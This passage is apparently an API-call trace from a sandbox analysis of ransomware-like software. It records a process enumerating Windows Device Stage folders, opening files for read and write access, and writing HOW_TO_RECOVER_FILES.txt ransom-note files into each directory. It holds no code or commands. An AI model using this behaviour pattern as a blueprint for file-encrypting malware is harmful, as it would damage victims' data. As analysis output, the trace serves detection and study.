"c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"), fInfoLevelId=0x0, lpFileInformation=0x3846bd8 | out: lpFileInformation=0x3846bd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1)) returned 1 [0134.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0134.345] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", lpFilePart=0x0) returned 0x66 [0134.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0134.345] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0134.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6410) returned 1 [0134.347] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", lpFilePart=0x0) returned 0x64 [0134.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0134.347] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"), fInfoLevelId=0x0, lpFileInformation=0x3847438 | out: lpFileInformation=0x3847438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6cf)) returned 1 [0134.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0134.347] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", nBufferLength=0x105, lpBuffer=0x10f94b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", lpFilePart=0x0) returned 0x64 [0134.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f99d0) returned 1 [0134.347] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0134.347] GetFileType (hFile=0x618) returned 0x1 [0134.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9940) returned 1 [0134.348] GetFileType (hFile=0x618) returned 0x1 [0134.348] GetFileSize (in: hFile=0x618, lpFileSizeHigh=0x10f9b78 | out: lpFileSizeHigh=0x10f9b78*=0x0) returned 0x6cf [0134.348] ReadFile (in: hFile=0x618, lpBuffer=0x3847e30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10f9aa8, lpOverlapped=0x0 | out: lpBuffer=0x3847e30*, lpNumberOfBytesRead=0x10f9aa8*=0x6cf, lpOverlapped=0x0) returned 1 [0134.348] CloseHandle (hObject=0x618) returned 1 [0135.722] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", nBufferLength=0x105, lpBuffer=0x10f94b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", lpFilePart=0x0) returned 0x64 [0135.723] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f99d0) returned 1 [0135.723] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0135.724] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f63c0) returned 1 [0135.725] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", lpFilePart=0x0) returned 0x65 [0135.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0135.725] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"), fInfoLevelId=0x0, lpFileInformation=0x393ce18 | out: lpFileInformation=0x393ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1)) returned 1 [0135.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0135.725] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", lpFilePart=0x0) returned 0x65 [0135.725] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0135.725] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0135.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6410) returned 1 [0135.727] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x70 [0135.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0135.728] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x63c [0135.729] GetFileType (hFile=0x63c) returned 0x1 [0135.729] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0135.729] GetFileType (hFile=0x63c) returned 0x1 [0135.729] WriteFile (in: hFile=0x63c, lpBuffer=0x393faf8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9da8, lpOverlapped=0x0 | out: lpBuffer=0x393faf8*, lpNumberOfBytesWritten=0x10f9da8*=0x5d0, lpOverlapped=0x0) returned 1 [0135.730] CloseHandle (hObject=0x63c) returned 1 [0135.730] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x49 [0135.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0135.731] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x63c [0135.731] GetFileType (hFile=0x63c) returned 0x1 [0135.731] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0135.732] GetFileType (hFile=0x63c) returned 0x1 [0135.732] WriteFile (in: hFile=0x63c, lpBuffer=0x3943370*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x3943370*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0135.733] CloseHandle (hObject=0x63c) returned 1 [0135.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0135.733] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task", lpFilePart=0x0) returned 0x2e [0135.733] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x379e9659, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0135.734] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x379e9659, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.734] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x379e9659, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x379e9659, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x379e9659, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0135.734] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd5f4a5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", cAlternateFileName="{07DEB~1")) returned 1 [0135.734] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 1 [0135.734] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 0 [0135.734] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0135.734] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0135.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0135.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0135.735] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task", lpFilePart=0x0) returned 0x2e [0135.735] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x379e9659, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x379e9659, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0135.735] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x379e9659, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x379e9659, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.735] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x379e9659, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x379e9659, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x379e9659, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0135.735] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd5f4a5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", cAlternateFileName="{07DEB~1")) returned 1 [0135.735] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd64a757, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2a1d79, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 1 [0135.736] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0135.736] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0135.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0135.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0135.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0135.736] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpFilePart=0x0) returned 0x55 [0135.736] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd5f4a5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x36f7b256, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0135.737] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd5f4a5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x36f7b256, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0135.737] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b27bb25, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbd5f5c36, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0135.737] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49316445, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0135.737] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36f7b256, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x36f7b256, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x36f7b256, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0135.737] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x72ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfol.ico", cAlternateFileName="")) returned 1 [0135.737] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x14668, dwReserved0=0x0, dwReserved1=0x0, cFileName="pictures.ico", cAlternateFileName="")) returned 1 [0135.737] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49362917, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49362917, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49362917, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0135.738] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xcaa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ringtones.ico", cAlternateFileName="")) returned 1 [0135.738] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x10850, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ico", cAlternateFileName="")) returned 1 [0135.738] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x4933c6a8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc04b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sync.ico", cAlternateFileName="")) returned 1 [0135.738] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49316445, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x49316445, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x49316445, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2aff, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1 [0135.738] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4933c6a8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x4933c6a8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, 